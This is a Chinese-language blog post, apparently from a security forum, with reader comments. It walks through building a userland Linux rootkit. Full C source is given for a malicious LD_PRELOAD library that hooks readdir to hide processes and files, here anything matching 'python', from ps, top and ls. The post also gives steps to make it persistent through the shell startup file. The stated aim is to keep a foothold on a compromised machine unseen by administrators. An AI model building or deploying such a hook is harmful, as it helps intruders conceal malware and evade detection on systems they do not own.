起因
Linux机器下,获取到哪怕一次shell权限,都是十分致命的。
因为获取之后,在黑黑的命令框下,你基本不怎么容易发现木马/后门的存在。
没有云,没有主动防御。也没有什么所谓的“360”(虽然他有但是对比他在windows下的功能简直就是笑话)
在Linux下,比起二进制文件会需要不同平台而导致软件的无法执行,脚本文件反而可以突破这层障碍,海量的库导致程序编写的更加容易以及等等。
然而缺点也很明显,那就是通俗易懂的代码不只对你,对系统管理员来说也是如此,而且必须需要宿主程序持续的运行以及后台上面的那个丑丑的黑框框。
所以我们得目的也就很简单,隐藏进程and隐藏文件。
这样就能让我们得脚本,为所欲为了。
然后,下面是我收集得一些资料。
- linux加载LKM简单例子
- LKM可加载内核模块简单实例编写
- Linux Rootkit系列一:LKM的基础编写及隐藏
- 看我如何通过Linux Rootkit实现文件隐藏
- rootkit:在隐藏模块的基础上隐藏进程
- 动态连接的诀窍:使用 LD_PRELOAD 去欺骗、注入特性和研究程序
- Linux 遭入侵,挖矿进程被隐藏案例分析
- Linux-4.4-x86_64 内核配置选项简介
少女研究中。。。
阶段一:非rootkit级别的权限维持
经过几天的研究(咕咕咕)。
LD_PRELOAD 设置了这个环境变量后,linux会优先加载这个环境变量下的动态链接库程序。
所以我们只需要编写一个so文件添加到这个环境变量下即可,相当于一个变向的HOOK。
而top/ps所用的函数是readdir,只要重新实现这个函数或者套一个“壳”,并且过滤掉我们的进程名即可。
这个方式的缺点就是十分容易被发现,一检查环境变量你的动态链接库瞬间无处遁行。
所以,我们先查找到readdir函数原地址
#include<stdio.h>
#include<dlfcn.h>
#define __libc_lock_define(CLASS,NAME)
struct __dirstream
{
void *__fd; /* `struct hurd_fd' pointer for descriptor. */
char *__data; /* Directory block. */
int __entry_data; /* Entry number `__data' corresponds to. */
char *__ptr; /* Current pointer into the block. */
int __entry_ptr; /* Entry number `__ptr' corresponds to. */
size_t __allocation;/* Space allocated for the block. */
size_t __size; /* Total valid data in the block. */
__libc_lock_define (, __lock) /* Mutex lock for this structure. */
};
typedef struct __dirstream DIR;
struct dirent
{
long d_ino; /* inode number 索引节点号 */
off_t d_off; /* offset to this dirent 在目录文件中的偏移 */
unsigned short d_reclen;/* length of this d_name 文件名长 */
unsigned char d_type; /* the type of d_name 文件类型 */
char d_name [255];/* file name (null-terminated) 文件名,最长255字符 */
};
static void *findSymbol(const char *path, const char *symbol) {
void *handle = dlopen(path, RTLD_LAZY);
if(!handle) {}
void *target = dlsym(handle, symbol);
if(!target) {}
return target;
}
之后我们可以使用
void *target = findSymbol("/lib/x86_64-linux-gnu/libc.so.6","readdir");
来获取函数地址。
注意gcc测试编译的时候需要加上
-ldl /usr/lib/x86_64-linux-gnu/libdl.a
才可以编译。
之后就是编写我们的过滤函数
首先先用我们的那个查找函数定义一个function pointer来调用原本的readdir函数
void *target = findSymbol("/lib/x86_64-linux-gnu/libc.so.6","readdir");
typedef dirent* (*FUNCTYPE)(DIR *);
FUNCTYPE raw = target;
这下我们使用raw就能当做readdir调用啦。
之后便是过滤,先写一个文件过滤看看效果
while((ptr=raw(dir_handle)))
{
if (strcmp(ptr->d_name,"ps")){//判断文件名是否位ps,是就过滤
return ptr;
}else{
continue;
}
}
return NULL;
之后我们编译,执行测试
(上图是我们hook过的,下图是没被hook过的)
之后添加进程过滤。
效果如图
最后我们添加到环境变量。用系统命令ps,ls来试试。
运行export LD_PRELOAD=我们的恶意so地址
然后执行。
我这是过滤了python这个字段,可以更具自己的需求选择性的过滤字段,比如说过滤带有vir_开头的进程或者文件等等
之后就是添加到全局环境变量,把上面那个export代码添加到./bashsrc即可。
所以附上最终完成的代码:
#include<stdio.h>
#include<dlfcn.h>
#include <string.h>
#define __libc_lock_define(CLASS,NAME)
#define PROC_NAME_LINE 1
typedef int bool;
#define TRUE 1
#define FALSE 0
#define true 1
#define false 0
#define BUFF_LEN 1024 //行缓冲区的长度
struct __dirstream
{
void *__fd; /* `struct hurd_fd' pointer for descriptor. */
char *__data; /* Directory block. */
int __entry_data; /* Entry number `__data' corresponds to. */
char *__ptr; /* Current pointer into the block. */
int __entry_ptr; /* Entry number `__ptr' corresponds to. */
size_t __allocation;/* Space allocated for the block. */
size_t __size; /* Total valid data in the block. */
__libc_lock_define (, __lock) /* Mutex lock for this structure. */
};
struct __dirent
{
long d_ino; /* inode number 索引节点号 */
off_t d_off; /* offset to this dirent 在目录文件中的偏移 */
unsigned short d_reclen;/* length of this d_name 文件名长 */
unsigned char d_type; /* the type of d_name 文件类型 */
char d_name [255];/* file name (null-terminated) 文件名,最长255字符 */
};
typedef struct __dirstream DIR;
typedef struct __dirent dirent;
static void *findSymbol(const char *path, const char *symbol) {
void *handle = dlopen(path, RTLD_LAZY);
if(!handle) {
//LOGE("handle %s is null", path);
return NULL;
}
//Cydia::MSHookFunction(void *,void *,void **)
void *target = dlsym(handle, symbol);
if(!target) {
//LOGE("symbol %s is null", symbol);
}
return target;
}
bool read_line(FILE* fp,char* buff,int b_l,int l)
{
if (!fp)return false;
char line_buff[b_l];
int i;
//读取指定行的前l-1行,转到指定行
for (i = 0; i < l-1; i++)
{
if (!fgets (line_buff, sizeof(line_buff), fp))
{
return false;
}
}
//读取指定行
if (!fgets (line_buff, sizeof(line_buff), fp))
{
return false;
}
memcpy(buff,line_buff,b_l);
return true;
}
dirent* readdir(DIR* dir_handle){
void *target = findSymbol("/lib/x86_64-linux-gnu/libc.so.6","readdir");
typedef dirent* (*FUNCTYPE)(DIR *);
FUNCTYPE raw = target;
struct __dirent *ptr;
while((ptr=raw(dir_handle)))
{
if (ptr->d_name[0] > '0' && ptr->d_name[0] <= '9'){
FILE* fp = NULL;
char file[512] = {0};
char line_buff[BUFF_LEN] = {0};//读取行的缓冲区
sprintf(file,"/proc/%s/status",ptr->d_name);
if ((fp = fopen(file,"r")))
{
char blackdoor[32];
char pname[32];
if (read_line(fp,line_buff,BUFF_LEN,PROC_NAME_LINE))
{
sscanf(line_buff,"%s %s",blackdoor,pname);
if(strstr(pname,"python")!=NULL)continue;
}
}
}
if (strcmp(ptr->d_name,"python")!=0)return ptr;
}
return NULL;
}
小结
这种方式的好处就是易于编写,并且能够快速部署。
缺陷就是容易被发现,比方说直接用/proc进行控制或者不使用我们的hook函数的程序
再或者就是管理员检查环境变量的时候意外的发现了这些。
虽然说了这么多,但是其实还是挺实用的,特别是对于我这种啥也不懂的小白and懒人来说。
基本不会去检查这些东西,就算检查了也只是用ls,ps这些基础命令检查的hhhhhh
然而即使这样,对于一些专业级的网络管理员或者水平高一些亦或者是一些技术高的geek来说当然是一下子就被发现啦。
所以我们需要第二个阶段的HOOK,也就是内核级的HOOK。
编写更难,部署也更麻烦,但是同样的,隐蔽等级也和这个不是一个级别的。
(甚至装完之后自己都找不到在哪hhhh
所以接下来的目标就是坑这个啦
阶段二:Rootkit级别的hook
发现需要编译内核,一般不怎么容易在目标机器上实现。
所以暂且搁置
引用下博主此文
等博主回来填二阶段坑
Ps. 不过博主的参考资料大部分都是动态内核模块加载的,实际已经进二阶段了
Pss. 一阶段我是觉得修改动态链接器更好一点啦,个人感觉
Psss. 一阶段据说还有个内核信号的方式阻止/proc生成映射文件,期待楼主学习后我再来学
感谢支持,第二阶段主要的问题是鉴于不同版本内核的源码的不同,编译出来的模块不能复用,并且加载十分的麻烦,所以我才一直拖着_(:з」∠)_。。内核信号这个方法,感谢提醒!!!我去看看
bie文章的质量真高,我这菜鸡只能水文章(≧ω≦)
看起来质量高,其实看我那些连接就会发现这其实都是已经有人研究过的_(:з」∠)_
沙發
板凳